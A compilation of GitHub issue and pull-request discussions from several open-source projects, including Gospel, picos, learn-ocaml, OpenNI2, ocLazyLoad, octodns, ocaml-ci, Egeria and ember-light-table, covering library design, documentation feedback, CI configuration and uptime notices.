I removed the syntax for array access since we want users to use
sequences instead of reasoning over the array directly.
I re-added fold in the Set module since one of the Vocal examples
used it and I didn't want to change it too much. I did however,
change its signature: fold now takes two functions, one that maps
elements into some other type 'b and a function that combines two
values of type 'b. In the specification for fold, the latter
function must be a commutative monoid.
To simplify the specification of fold I also added a definition for
a monoid and a commutative monoid in the top level of the library.
I changed the history so that filter_map isn't removed

Excellent: Thank you :-)
I believe 41162f0 could have deserved its own PR. But is is ok.
Once the conflict on the changelog has been resolved, this PR can be merged if you are ok with that.

I thought of making it its own PR, but since this one is almost done, I figured why not. The arithmetic operators don't have specifications, but I don't think that is a huge deal breaker. I am pretty satisfied with the current state of this library.

authors: mrjazzybread n-osborne

repo: ocaml-gospel/gospel


text:
Feedback on documentation

There is always room to improve documentation.
At least for me it can be very difficult to see where the documentation I've written, for code I've designed, isn't necessarily clear enough, because I know too much about the code already.
Feedback on anything that is hard to understand and could perhaps be improved is most welcome.

Thanks for the feedback!

line 256:  the and and the end of the line makes it somehow unclear to me. I can't decide if the end of the sentence is missing or if it is meant to be read on OCaml 5, .... and on OCaml 4. In this last case, or will be a more logical connector.

Interesting.  The way I think about that is that it is a list of implications or conditional behaviours or rules.  IOW, it is an Oxford comma.  An implication is always true if the premise is unsatisfied.  Likewise you may consider that a conditional behaviour or rule always applies — it just does nothing in case the condition is false.  The premises/conditional behaviours in this case are mutually exclusive.  Both (or all) of the implications need to be considered or conditional behaviours need to be applied, which justifies the use of "and".
Also consider
let behaviour () =
  if ocaml == 5 then (...); (* , and *)
  if ocaml == 4 then (...)

vs
let behaviour () =
  if ocaml == 5 then (...) else (* or *)
  if ocaml == 4 then (...)

But, more to the point, neither of us is a native English speaker.
Native English speakers: Does the use of "and" seem appropriate?

line 294:  the alert handler does not look good. A : after it would make it more readable for example. Not sure you can do anything about it.

Yes, I don't think there is much that can be done to make it look better.  This is how it looks like in the generated documentation:

Trigger.from_action:  I don't get from reading the documentation what this is useful for (but at it is an advanced feature, it may be okay)

It is useful when you just want to have an arbitrary callback executed when a trigger you attach to a computation is signaled.  I could add a comment to this effect.  However, as can be inferred from the documentation, you really need to know what you are doing.

Line 402:  I don't understand the sentence. Is a problem domain a thing or a typo ?

It is engineering jargon, see e.g. c2 wiki or SE SE

Thanks !
About the Computation module: this is  also a very understandable module. I like the way it is sorted (by "Interface for...").

type packed : this is used in Fiber but not in Computation. Maybe be a link or a hint about what this is used for will be useful.
about canceler: this sentence and the next one seem to state  the opposite of each other. I got what it meant after reading it a few times (and thanks to the 'usually').
about attach_canceler : does attach_canceler do what the documentation of canceler recommend to do with the returned trigger ?
canceler and attach_canceler : I don't properly understand how these functions work and what they should be used for, but I am not reading the documentation with the intend of writing a proper scheduler  so this probably answer needs/questions that I don't have :sweat_smile:

Fiber module :

mismatched documentation : the function documented is create and the doc is about new_key.
set_computation : what happens if the fiber already has an associated computation ?

authors: lyrm polytypic

repo: ocaml-multicore/picos

license: ISC


text:
Feat: nicer display of missing (sub)exercises

Related project scope(s) (ex: client, CSS, grading, etc...) : web frontend, CSS, grading

The problem
If you have several questions inside a single exercise, the display does not feel very nice for students that have only answered a subset of the questions so far: missing questions are displayed in red as "wrong".
Wanted solution
It would be nice if the grader could detect that the question is not "wrong" but "missing", and display it in a more neutral style (gray ?) in the report.
Considered alternatives
It is possible to use different exercises for each question, but not so pleasant. This is what @smdsousa does to avoid the issue.

Thanks @gasche for the suggestion!
I agree that this is something that could be improved (and shouldn't be too difficult to implement at first sight (but I don't assign myself this issue for the moment - lacking of time this week 😅))
− Regarding the alternative you mention, currently it is the standard workaround to limit the size of a grader, indeed;
but note that in the medium term, the nice feature started by @YoanwM (#402) could be a native way to "split a long grader"…

authors: erikmd gasche

repo: ocaml-sf/learn-ocaml


text:
manually read streams in oni recording

Hi,
I was writing an application to extract all the frame contained in a .oni recording. I set playback speed to -1 (manual), create and start two streams (depth and color) and read them manually using readframe in a loop. However seems that manual mode is not respected as if simply read frames for one of the streams seek  forward also the other one (some frames are skipped).
Working solution is to read one stream after the other, reinitializing OpenNI2 in between or to use seek function before each readframe. As anyone experienced this? Is this a known bug?
Second question, does anyone know if the frameindex is guaranteed to be sequential in a stream and continuous? (without skipping any number between 1 and N)

That's exactly how seek() is supposed to work: https://github.com/occipital/OpenNI2/blob/master/Include/OpenNI.h#L1766

Thank you for the quick response, however there is something not clear to me. I know about the seek function and how it works, but my question is.. why is necessary in manual mode? Suppose the following code where I first read all the depth frames and then the color frames manually:
depthStream.create(device, openni::SensorType::SENSOR_DEPTH);
depthStream.start();
for(unsigned int i=1; igetNumberOfFrames(depthStream); i++)
depthStream.readFrame(&depthFrame);
....
colorstream.create(device, openni::SensorType::SENSOR_COLOR);
colorstream.start();
At this point the colorstream I'd expect to be at frameindex = 1 since I didn't read any frame in it.. but it's actually at a frameindex more or less equal to the last one of the depth stream, as if readstream use seek internally and hence advance both streams (even if I din't even create the color one! )
Is this correct?
Thank you for your time!
Second question about the frameindex.. frameindex of the last frame, is guaranteed to be equal to what is returned by function playbackControl->getNumberOfFrames(depthStream) ? In other words can I have missing frameindex in the stream?

It's been a long time since I've dealt with these mechanisms, but I think that is indeed the expected behavior. All streams share a common timeline of some sort.

Second question about the frameindex.. frameindex of the last frame, is guaranteed to be equal to what is returned by function playbackControl->getNumberOfFrames(depthStream) ? In other words can I have missing frameindex in the stream?

It is guaranteed for a specific stream. However, as far as I'm aware, it isn't guaranteed that getNumberOfFrames(depthStream) == getNumberOfFrames(colorStream).
What I usually did when I was working with OpenNI was to have a "stream of interest" (the most important one for your application needs, in my case depth) which I would process all frames from, and then get the associated frames from all other streams.
I hope I made myself clear enough.

Exactly confirming what I was thinking about. Thank you very much for your time!


text:
Structure sensor intrinsics

@jrpowers I think you know that @pokeefe shared opencv registration code at https://github.com/Itseez/opencv_contrib/pull/132.
Can you share structure sensor intrinsics?
Do you have tried standard opencv stereo calibration pipeline with nexus 9 or other android devices with the registration code?

@bhack please take a look at: http://forums.structure.io/t/intrinsics-for-ios-devices-and-the-structure-sensor-depth-point-cloud-info/4640

authors: bhack jselikof


text:
[Bug]: The source table or target table is deleted during the archiving task, but the task does not stop.

ODC version
ODC424
OB version
independent
What happened?
The source table or target table is deleted during the archiving task, but the task does not stop.

What did you expect to happen?
。。
How can we reproduce it (as minimally and precisely as possible)?
。。
Anything else we need to know?
No response
Cloud
No response

task log suspended on 6/10, time from 2024-03-05 21:45:33 to 2024-03-05 21:55:33, and still be suspend

expect: when target table deleted,  dml final status is failed @guowl3

authors: Huangxiao-mas krihy

repo: oceanbase/odc


text:
Show test label only for test networks

Fixes #982.
Changes proposed in this PR:

check network type and show test label accordingly

My bad, sorry! Package update I did earlier leads to those build errors.
Solution is to cherry-pick fea0c1bfacb141dfe7e8737ac5dcd9b15aea52b5 or just merging v4 branch into here

My bad, sorry! Package update I did earlier leads to those build errors.
Solution is to cherry-pick fea0c1b or just merging v4 branch into here

No problem, thanks for providing a solution :)

authors: claudiaHash kremalicious

repo: oceanprotocol/market


text:
Compute: publish algorithm

Fixes #341  .
Changes proposed in this PR:

added new form for algorithm publish on publish page

@kremalicious and @mihaisc, saw that the algorithm object in the asset's service.main has language property, should we split the algorithm file url and get file extension and set it here or from where we could get that so we don't hardcode it ?
see https://github.com/oceanprotocol/ocean.js/blob/main/test/integration/ComputeFlow.test.ts#L265

to keep it pragmatic, we could just switch that language based on selected Docker image which at least works for the pre-set images cause we know them. Tricky of course for custom images, but just when this option is selected we could show a language selector input.
But of course many assumptions in between but not sure we can solve any of that better without controlling input & output, e.g. with a textarea editor users enter their code so we can detect and transform when needed, or have the /fileinfo endpoint give us back more info

That is not used as far as i know so ignore it. @alexcos20 am i wrong?

Not sure how easy it is, but i shouldn't be able to edit image/version/entrypoint for default images.

Related to the custom docker image input fields (image, version, entrypoint)
We have two options I guess:

to hide those fields when a pre-defined image is selected
or to disable those fields and display them all the time and make them editable when custom image is selected from dropdown  (like in the picture bellow)

Considering we can see the image/version/entrypoint in the preview on the right we can also hide them so at this point whatever is the easiest

would be in favor of progressive disclosure, so for pre-set images we hide the relevant form fields, and show when custom image is selected. Since it seems that input values for pre-set images are reflected in their option name anyway. But no clue how hard (or easy?) that is with current form setup, don't wanna create forms within forms or something just for that
The Version field is a bit confusing from user perspective. Does it reference a language version number or a Docker tag (which happens to be a version number sometimes)? If it's the latter, we should label it accordingly like Docker Image Tag. But isn't this then referenced by the DockerHub image url anyway?

would be in favor of progressive disclosure, so for pre-set images we hide the relevant form fields, and show when custom image is selected. Since it seems that input values for pre-set images are reflected in their option name anyway. But no clue how hard (or easy?) that is with current form setup, don't wanna create forms within forms or something just for that
The Version field is a bit confusing from user perspective. Does it reference a language version number or a Docker tag (which happens to be a version number sometimes)? If it's the latter, we should label it accordingly like Docker Image Tag. But isn't this then referenced by the DockerHub image url anyway?

Yeah I couldn't decide on that either, but thought that form would be more consistent and we would not have fields flying around when a select input is changed, thats why I went for disabling those fields.
Regarding the version field I was a bit confused to 😃  but i believe it references the docker image tag not the algorithm version and we should rename that accordingly

It's from docker so for oceanprotocol/aquarius:latest , image = oceanprotocol/aquarius , version = latest

Regarding the validation, we need to validate if the docker image is valid but what about 3rd party repos? Do we just do a http head or options on the url and see if it's 200? We can't do much in that scenario.

Some UI notes for Docker image selection, which seems to be the major thing to still solve in here:

should default to one of our pre-defined images
let's try to hide Image URL, Version, Entrypoint fields by default, and show them when Custom is selected
rename Version to Docker Image Tag, and for pre-defined images it should reflect what their labels say
Image URL should be clearer, if either docker image name (+ tag ?) or DockerHub URLs are allowed it should be labeled like Docker Image. But then again if we allow image name + tag in there, the Version/Docker Image Tag field becomes redundant. We should be able to get that automatically from image name + tag, or DockerHub URL maybe?

We should then look into #397 since it interferes a bit when using the form but fine doing this individually

we kind of need the fix for the persistence issue and set corect initial values for the form on each tab because it's a feature break issues for publish algorithm. The default values for the docker image and private algorithm are set using the initial values set in FormAlgoPublish model that is not passed when switching tabs.
I've created a fix for this issue in this PR #402

Made a small update on metadata preview and set fixed width for  metadata item content also set word wrap to break word to fix this
Before

After

Another option would have been to update the tabs width but i considered this approach better
With this i think publish is ready to be merged

authors: bogdanfazakas kremalicious mihaisc


text:
Add unit tests for ocean.py code base v3.0

Fixes #284 .
Changes proposed in this PR:

I noticed that in metadata.py file, there are create and update functions which are already tested in test_ddo.py from the same module at line 58 and 78. I don't know if it's necessary basically to repeat the same chunks of code, because if I will implement in test_metadata.py, the workflow will be the same and redundant. Any guidance here, please? @calina-c @DMats

Any thoughts why the test_register_asset test fails even though I didn't modify it at all? @calina-c
And when I tested locally, it worked.


text:
better commonjs/es6 support

import lazyLoad from 'oclazyload';   gives me empty object. Then to add dependency in my angular app I have to use string dep -- var app = angular.module('myApp', [''oc.lazyLoad',]);
It would be much better if oclazyload exported atleast a string:
{
  module.exports = 'oc.lazyLoad';
}```

Obviously there are multiple ways to better support commonjs/es6, but this I think is bare minimum approach.

Yes, it was on my todo list for 1.0 and then I forgot to do it :)
Thanks

Is this still on the todo list? :)

Yes :)
But if you want to do a PR it will be merged much faster ;)

I've added a very simple module.exports code almost copy-pasted from ui-router.
Do you need me to run the gulp release and commit dist changes as well?

Thanks I'll do it! :)

Do you have an ETA to push changes to npm? Thanks!

I'd like to make some bug fixes before I release a new version, do you need this fast ?

I think it's best to prioritize bug fixes than a fast npm release (btw I wasn't able to run Karma tests on my machine, failed with undefined angular).
We will install from github for the time being.

Ok.
For the tests you need to install angular with bower

Hah! That did the trick. :smiley:

authors: abhishekisnot ocombe olegskl

repo: ocombe/ocLazyLoad

license: mit


text:
SSO automation

Automation of Secondary Scheduler Operator

Please add this role in the playbook/main.yml file.

Added.


text:
Setup Chrony server on the bastion and sync with the same refenrence …

…than other node
Fixex #75
Signed-off-by: Sebastien Chabrolles s.chabrolles@fr.ibm.com

This should work in combination with https://github.com/ocp-power-automation/ocp4-playbooks/issues/38
So, we need to update ocp4-playbook tag variable before merging this PR


text:
Explor using isort to manage imports

Fairly happy with the results here. If we want to go forward with this it'll need ported over into https://github.com/octodns/octodns-template and https://github.com/octodns/octodns and then applied to a whole bunch of repos.
/cc https://github.com/octodns/octodns-ns1/pull/29#issuecomment-1398733596 @bkane-msft for the suggestion

Oh I love that you're consolidating things in pyproject.toml! I'm using VS Code with (among others) the black and isort plugins and now I won't have to disable those to use octodns-specific settings.
You might also consider adding the following and simplifying pytest:
[tool.pytest.ini_options]
pythonpath = "."

Then you can remove the export PYTHONPATH=.:$PYTHONPATH line in ./script/test

In fact, for recent (maybe too recent for octo's taste) versions of setuptools and Python, it's possible to use ONLY pyproject.toml.  I was playing with this last month at https://github.com/bbkane/simple-python-package .

Then you can remove the export PYTHONPATH=.:$PYTHONPATH line in ./script/test and script/coverage

Nice. Done.

In fact, for recent (maybe too recent for octo's taste) versions of setuptools and Python, it's possible to use ONLY pyproject.toml. I was playing with this last month at https://github.com/bbkane/simple-python-package .

Will explore that, at some point but not in this PR/thread. I have looked at, and not liked, the newer setuptools replacement stuff like poetry. If at some point it's possible to replace setup.py itself and stick with the tooling I wouldn't complain. There's definitely times when it'd be nice to be able to process config rather than have to run setup.py to get answers (e.g. ./script/update-requirements.) I assume the pyproject.toml stuff is mostly just moving stuff out of setup.cfg there...

Sorry, I didn't get notified of your reply for some reason.
I also don't like the setuptools replacement tooling - I feel it's not needed for packaging pure Python code. Fortunately, it's possible to just used setuptools and build with a pyproject.toml-based build system. I haven't tested this, but octodns-ns1 already depends on build so I don't think a setup.py -> pyproject.toml migration would require any requirements-dev.txt changes (other than version upgrades maybe). Anyhoo, as you said, this is for another PR/thread :)

I'll try to make an experimental PR just to see if CI passes for all Python versions after this PR  gets merged.

So I started playing with the "migrate everything to pyproject.toml but still use setuptools/build packages" idea and it turns out that relies on some beta functionality of setuptools:
* Getting build dependencies for sdist...
/private/var/folders/cv/pmplkw8n30lby2tc0j84lt1m000yft/T/build-env-c1qb36cr/lib/python3.10/site-packages/setuptools/config/pyprojecttoml.py:108: _BetaConfiguration: Support for `[tool.setuptools]` in `pyproject.toml` is still *beta*.
  warnings.warn(msg, _BetaConfiguration)

I've commented in https://github.com/pypa/setuptools/pull/3632 and subscribed to https://github.com/pypa/setuptools/issues/3683 and https://github.com/pypa/setuptools/pull/3347 in hopes that someone will mention that the functionality is stabilizing. Once/If it stabilizes, I'll bring this back idea back up, but for now it's probably not worth its own issue/PR to track

Thanks for digging into it! Will keep an eye on those as well.

authors: bkane-msft ross


text:
🛑 GUAU (guau.umet.edu.ar) is down

In aeabed4, GUAU (guau.umet.edu.ar) (https://guau.umet.edu.ar/api/health) was down:

HTTP code: 503
Response time: 1156 ms

Resolved: GUAU (guau.umet.edu.ar) is back up in 60052b9.

repo: octubre-softlab/octubre-upptime


text:
Allow extra colons in commit headers in release notes compiler

Contents
Fixes

[x] Ensure uncategorised commits are not lost by release note compiler
[x] Allow extra colons in commit headers in release notes compiler

Operations

[x] Increase version to 0.0.11

Uncategorised!

[x] Merge 7cdc9801f8d53bded57384f52f5d56244312721e into 6dcdc414779fc644cbb586fc110becc0f6ca4e90

Codecov Report

Merging #18 (7cdc980) into main (6dcdc41) will not change coverage.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##             main      #18   +/-   ##
=======================================
  Coverage   95.36%   95.36%
=======================================
  Files           3        3
  Lines         194      194
=======================================
  Hits          185      185
  Misses          9        9

Impacted Files
Coverage Δ

conventional_commits/compile_release_notes.py
90.69% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 6dcdc41...7cdc980. Read the comment docs.

authors: codecov-commenter cortadocodes

repo: octue/conventional-commits


text:
Support for opam 2.1

It would be nice if ocaml-ci could test builds with opam 2.1 as this would allow testing beta releases a bit more thoroughly. Right now the recommend way to add beta package to opam-repository is to use available: opam-version >= "2.1" but then this leads to ocaml-ci complaining with Availability condition not satisfied.

From @talex5:

it would be better to treat available: opam-version >= "2.1" as a constraint for the solver to satisfy, rather than taking the opam version as an input and rejecting anything that doesn't satisfy it.

Unfortunately, the problem seems big for certain packages: https://github.com/mirage/ocaml-vchan/pull/138

The failing build is still using opam-2.0 ; not sure what happened there...

The (analyis) steps correctly detected that the package is only available with opam 2.1:
2022-02-02 17:11.28 [INFO] debian-11-4.14: eliminated all possibilities in 0.66 s
2022-02-02 17:11.28 [INFO] debian-11-4.11: eliminated all possibilities in 0.94 s
2022-02-02 17:11.28 [INFO] debian-11-4.12: eliminated all possibilities in 0.94 s
2022-02-02 17:11.28 [INFO] debian-11-4.06: eliminated all possibilities in 0.81 s
2022-02-02 17:11.28 [INFO] debian-11-4.13+flambda: eliminated all possibilities in 0.68 s
2022-02-02 17:11.28 [INFO] debian-11-4.09: eliminated all possibilities in 1.00 s
2022-02-02 17:11.28 [INFO] debian-11-4.08: eliminated all possibilities in 1.10 s
2022-02-02 17:11.28 [INFO] debian-11-4.07: eliminated all possibilities in 0.96 s
2022-02-02 17:11.28 [INFO] debian-11-4.13: eliminated all possibilities in 1.37 s
2022-02-02 17:11.28 [INFO] debian-11-4.10: eliminated all possibilities in 1.12 s
2022-02-02 17:11.28 [INFO] debian-11-4.04: eliminated all possibilities in 1.00 s
2022-02-02 17:11.28 [INFO] debian-11-4.03: eliminated all possibilities in 1.09 s
2022-02-02 17:11.28 [INFO] debian-11-4.12+domains: eliminated all possibilities in 0.82 s
2022-02-02 17:11.28 [INFO] debian-11-4.05: eliminated all possibilities in 1.09 s
2022-02-02 17:11.28 [INFO] debian-11-4.02: eliminated all possibilities in 1.05 s
2022-02-02 17:11.28 [INFO] alpine-3.15-4.13: eliminated all possibilities in 0.94 s
2022-02-02 17:11.29 [INFO] debian-11-4.13_x86_32: eliminated all possibilities in 0.95 s
2022-02-02 17:11.29 [INFO] debian-11-4.13_arm64: eliminated all possibilities in 0.89 s
2022-02-02 17:11.29 [INFO] debian-11-4.13: eliminated all possibilities in 0.98 s
2022-02-02 17:11.29 [INFO] debian-11-4.13_ppc64: eliminated all possibilities in 0.94 s
2022-02-02 17:11.29 [INFO] debian-11-4.13_arm32: eliminated all possibilities in 0.74 s
2022-02-02 17:11.29 [INFO] debian-11-4.13_opam-2.1: found solution in 1.08 s
2022-02-02 17:11.29 [INFO] debian-11-4.10_opam-2.1: found solution in 1.01 s
2022-02-02 17:11.29 [INFO] debian-11-4.12_opam-2.1: found solution in 1.04 s
2022-02-02 17:11.30 [INFO] debian-11-4.11_opam-2.1: found solution in 1.10 s
2022-02-02 17:11.30 [INFO] debian-11-4.09_opam-2.1: found solution in 1.11 s
2022-02-02 17:11.30 [INFO] centos-8-4.13: eliminated all possibilities in 0.91 s
2022-02-02 17:11.30 [INFO] debian-10-4.13: eliminated all possibilities in 0.81 s
2022-02-02 17:11.30 [INFO] debian-11-4.08_opam-2.1: found solution in 1.02 s
2022-02-02 17:11.30 [INFO] debian-11-4.13_s390x: eliminated all possibilities in 0.98 s
2022-02-02 17:11.30 [INFO] alpine-3.14-4.13: eliminated all possibilities in 0.99 s
2022-02-02 17:11.30 [INFO] fedora-34-4.13: eliminated all possibilities in 0.93 s
2022-02-02 17:11.30 [INFO] ubuntu-20.04-4.13: eliminated all possibilities in 0.92 s
2022-02-02 17:11.30 [INFO] opensuse-15.3-4.13: eliminated all possibilities in 0.95 s
2022-02-02 17:11.30 [INFO] fedora-35-4.13: eliminated all possibilities in 0.94 s
2022-02-02 17:11.30 [INFO] ubuntu-21.10-4.13: eliminated all possibilities in 0.96 s
2022-02-02 17:11.30 [INFO] ubuntu-22.04-4.13: eliminated all possibilities in 0.93 s
2022-02-02 17:11.30 [INFO] debian-11-4.12+domains_opam-2.1: found solution in 0.82 s
2022-02-02 17:11.31 [INFO] debian-11-4.14_opam-2.1: found solution in 1.06 s
2022-02-02 17:11.31 [INFO] alpine-3.15-4.13_opam-2.1: found solution in 1.02 s
2022-02-02 17:11.31 [INFO] debian-11-4.13+flambda_opam-2.1: found solution in 1.12 s
2022-02-02 17:11.31 [INFO] debian-11-4.13_opam-2.1: found solution in 1.09 s
2022-02-02 17:11.31 [INFO] debian-11-4.07_opam-2.1: eliminated all possibilities in 1.01 s
2022-02-02 17:11.31 [INFO] debian-11-4.06_opam-2.1: eliminated all possibilities in 0.93 s
2022-02-02 17:11.31 [INFO] debian-11-4.05_opam-2.1: eliminated all possibilities in 0.99 s
2022-02-02 17:11.31 [INFO] debian-11-4.04_opam-2.1: eliminated all possibilities in 0.81 s
2022-02-02 17:11.31 [INFO] alpine-3.14-4.13_opam-2.1: found solution in 1.05 s
2022-02-02 17:11.31 [INFO] fedora-34-4.13_opam-2.1: found solution in 1.02 s
2022-02-02 17:11.31 [INFO] debian-10-4.13_opam-2.1: found solution in 1.09 s
2022-02-02 17:11.31 [INFO] centos-8-4.13_opam-2.1: found solution in 1.14 s
2022-02-02 17:11.31 [INFO] fedora-35-4.13_opam-2.1: found solution in 0.90 s
2022-02-02 17:11.32 [INFO] ubuntu-20.04-4.13_opam-2.1: found solution in 1.07 s
2022-02-02 17:11.32 [INFO] debian-11-4.13_x86_32_opam-2.1: eliminated all possibilities in 0.84 s
2022-02-02 17:11.32 [INFO] debian-11-4.03_opam-2.1: eliminated all possibilities in 0.99 s
2022-02-02 17:11.32 [INFO] debian-11-4.02_opam-2.1: eliminated all possibilities in 0.95 s
2022-02-02 17:11.32 [INFO] opensuse-15.3-4.13_opam-2.1: found solution in 1.16 s
2022-02-02 17:11.32 [INFO] ubuntu-21.10-4.13_opam-2.1: found solution in 1.09 s
2022-02-02 17:11.32 [INFO] ubuntu-22.04-4.13_opam-2.1: found solution in 1.01 s
2022-02-02 17:11.32 [INFO] debian-11-4.13_arm64_opam-2.1: eliminated all possibilities in 0.93 s
2022-02-02 17:11.32 [INFO] debian-11-4.13_arm32_opam-2.1: eliminated all possibilities in 0.88 s
2022-02-02 17:11.32 [INFO] debian-11-4.13_ppc64_opam-2.1: eliminated all possibilities in 1.00 s
2022-02-02 17:11.32 [INFO] debian-11-4.13_s390x_opam-2.1: eliminated all possibilities in 0.94 s

but then the rest of the run simply uses opam 2.0 anyway for some reason.

Actually nevermind, the issue seems to be in the analysis step. The output is wrong:
2022-02-02 17:11.32: Results:
                       {
                         "opam_files": [
                           "vchan-unix.opam", "vchan-xen.opam", "vchan.opam"
                         ],
                         "ocamlformat_source": null,
                         "selections": [
                           "Opam_build",
                           [
                             {
                               "variant": {
                                 "distro": "debian-11",
                                 "ocaml_version": "4.13",
                                 "arch": "amd64",
                                 "opam_version": [ "V2_0" ]
                               },
                               ....

I added a log line to of_worker:
  Logs.info (fun f -> f "of_worker: %S -> %a" id Variant.pp variant);

It printed this:
of_worker: "debian-11-4.13_opam-2.1" -> debian-11-4.13

https://github.com/samoht/ocaml-ci/blob/d2a9c5f2c3860f89fe9b8a9d15da6b96fcec3e14/lib/variant.ml#L75 looks wrong. You already split on _.

Thanks @talex5

Thanks for your work on this. Now that seems to work, but there are only x86_64 workers that have opam 2.1 - would it be possible to have ppc, arm, s390 workers as well?

@hannesm https://github.com/ocurrent/ocaml-ci/pull/417 should have fixed this now?

@samoht should it? in the linked CI run in the issue above I can only see various linux distributions with varying OCaml versions and flambda, domains, but no x86_32, no arm32, no arm64, no ppc, no s390x runner.

The analysis step seems to say this is only installable on x86_64 (https://ci.ocamllabs.io/github/mirage/ocaml-vchan/commit/d13e57a6bebe3ef851326c1ea3ed16350eb72f53/variant/(analysis))

There might still be a bug in the analysis phase.
The analysis phase here: https://ci.ocamllabs.io/github/kit-ty-kate/mirage-ping/commit/5de827c58d8500bf4415824b60b3ced730a6d886/variant/(analysis)
shows:
2022-02-04 01:31.03 [INFO] debian-11-4.13_arm64_opam-2.1: found solution in 1.01 s

but it is then not mentioned in the result and thus not tested at all.

Hm, so I'm not sure how to read this "analysis" step -- in any case for mirage-crypto https://ci.ocamllabs.io/github/mirage/mirage-crypto/commit/56b68831af1d3176e80bd479db8a1459886c72b5/variant/(analysis) (or https://github.com/mirage/mirage-crypto/pull/151) -- this used to compile on the above mentioned architectures, and now it only compiles on x86_64. As said, I've no clue how to read the analysis output.

This PR removed opam 2.0 solving https://github.com/ocurrent/ocaml-ci/pull/502 everything is now using opam 2.1. Closing

authors: dinosaure hannesm kit-ty-kate samoht talex5 tmcgilchrist

repo: ocurrent/ocaml-ci


text:
array() -> []

Shortcodes has been introduced in PHP5.4 which is not supported by composer.json, there's no reason to use it in migration. It can help read the code a bit.

Codecov Report

Merging #4 into master will not change coverage.
The diff coverage is 20%.

@@            Coverage Diff            @@
##             master       #4   +/-   ##
=========================================
  Coverage     31.81%   31.81%
  Complexity      199      199
=========================================
  Files             4        4
  Lines           635      635
=========================================
  Hits            202      202
  Misses          433      433

Impacted Files
Coverage Δ
Complexity Δ

...igration/Adapter/Generator/PhinxMySqlGenerator.php
45.68% <20%> (ø)
139 <ø> (ø)
:x:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 6efa884...3efd8da. Read the comment docs.

Thank you

authors: codecov-io lucien144 odan

repo: odan/phinx-migrations-generator


text:
Merge TUncurriedFn and TVariadicFn

When importing functions from Go packages, they become either TUncurriedFn or TVariadicFn depending on whether the function is variadic or not.
Later on, code that handles theses two types are very similar throughout the code base. The main difference is that code around TVariadicFn needs to handle the variadic parameter as well.
It would make the code simpler if we could just handle all imported Go functions as one type which would be like TVariadicFn but could handle the absence of the variadic parameter.
Maybe call it TForeignFn.

It's probably a good time to do this now (or soon).

authors: AlbinTheander owickstrom

repo: oden-lang/oden


text:
fix: sensor shouldn't fail in case optimus returns a non 200 response.

currently sensor fails incase of upstream hasn't started

Pull Request Test Coverage Report for Build 2359004620

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 75.012%

Totals

Change from base Build 2308712360:
0.0%

Covered Lines:
6268

Relevant Lines:
8356

💛  - Coveralls

authors: coveralls sravankorumilli

repo: odpf/optimus


text:
Add mappings for DataStage assets (for lineage)

At least the following:

[ ] dsjob
[ ] stage
[ ] ds_stage_column
[ ] link
[ ] referenced_container (shared_container, local_container)

Note that creating or saving jobs in the DataStage Designer client does not trigger any events into the InfosphereEvents topic... May need to consider an alternative mechanism for polling for changes to jobs (modified_on timestamp?) to trigger events in the EventMapper.

After discussion, now considering writing this instead as a separate proxy that integrates directly with the Data Engine OMAS -- covering both design-time lineage (potentially polled via IGC + modified_on) as well as runtime lineage (via the XML file logs of DataStage itself).
This would more closely fit the paradigm of integrating a Data Engine, and provide an additional example of a pattern (integrating via OMAS rather than via OMRS).

Closing, to be addressed through new DataStage-specific adapter that will call into Data Engine OMAS via a new Data Engine Proxy governance server capability.

repo: odpi/egeria-connector-ibm-igc


text:
Governance zone sample fails in 2.10 (platform security)

eclient ./governance-zone-create-sample-2.10-jar-with-dependencies.jar https://localhost:9443 cocoMDS2   [14:15:31]
Picked up JAVA_TOOL_OPTIONS: --add-exports=java.naming/com.sun.jndi.ldap=ALL-UNNAMED
===============================
Create Governance Zones Sample
===============================
Running against server: cocoMDS2 at https://localhost:9443
Using userId: juleskeeper

------------------------------------------------------------------------
personal-files
------------------------------------------------------------------------
 ==> qualifiedName: personal-files
 ==> displayName:   Personal Files Zone
 ==> description:   Assets that are for an individual's use.  Initially the creator of the asset is the owner. This person can reassign the asset to additional zones to increase its visibility or reassign the ownership.
 ==> criteria:      Assets that should only be visible and editable to the owner.

There was an exception when calling the asset owner client.  Error message is: OMAG-PLATFORM-SECURITY-403-002  User juleskeeper is not authorized to issue a request to server cocoMDS2

Working as designed - if using the coco environment - Jules Keeper does not have access to this server.   Need to use erinoverview

In this case I think we should update the governance zone sample to default to a userid other than juleskeeper - since that sample is written with the coco pharma organization in mind
public static void main(String[] args)
    {
        String  serverName = "cocoMDS2";
        String  serverURLRoot = "https://localhost:9443";
        String  clientUserId = "juleskeeper";

Agreed on making the change - the samples were written before the labs and so the defaults were not set with the lab configuration in mind.

I just looked at the governance leadership sample and it does not have any defaults - perhaps we should make it consistent?

repo: odpi/egeria


text:
🛑 fromagerieamstutz.ch is down

In 43738a9, fromagerieamstutz.ch (https://www.fromagerieamstutz.ch) was down:

HTTP code: 500
Response time: 1597 ms

Resolved: fromagerieamstutz.ch is back up in 34686d3.

repo: odqo/upptime


text:
🛑 urbamonde.org is down

In 852b013, urbamonde.org (https://www.urbamonde.org) was down:

HTTP code: 429
Response time: 602 ms

Resolved: urbamonde.org is back up in 34b92ec.


text:
Website theme

For consistent and novel experience, we can design a simple theme for our website:

[x] Color scheme (main colour can be osu! pink or ⑨ light blue)
[ ] Font (can consider, optional)
[ ] Logo (by Art team)
More to add here

[ ]  Font (can consider, optional)

See #5

[ ]  Logo (by Art team)

New logo design has already being used in #4 . Remember to have a look at this checkbox if that PR gets merged, or there is some other logo or static assets mentioned in this one?

authors: CloneWith NaughtyChas


text:
[META]: Feature Roadmap

I think we've done a good job of making ember-light-table feature rich and extensible.
Opening this issue to create an open area for discussion around where we see ELT going and to give transparency to the community as to what they can expect in some sort of future.
Large Features Under Pseudo-active Development

Modular behaviors + Keyboard support https://github.com/offirgolan/ember-light-table/pull/347
Integrate vertical collection for rendering performance. Work being done here

Roadmap

Freezing columns (after vertical collection is implemented)
"Out of the box" column and cell types

I'd like to see the community pool together their best / most common cell and column patterns and share these with each other so we have an out of the box set, and if the need arises plugin-packs for different columns/cell combos

... <your ideas here>

Any and all suggestions are welcome.

Freezing columns

Can you elaborate a bit, what you mean by that? :)
After integrating vertical-collection, proper support for horizontal scrolling (#284) seems like a good next big goal.
Following that, I'd be interested in exploring sticky rows and columns.

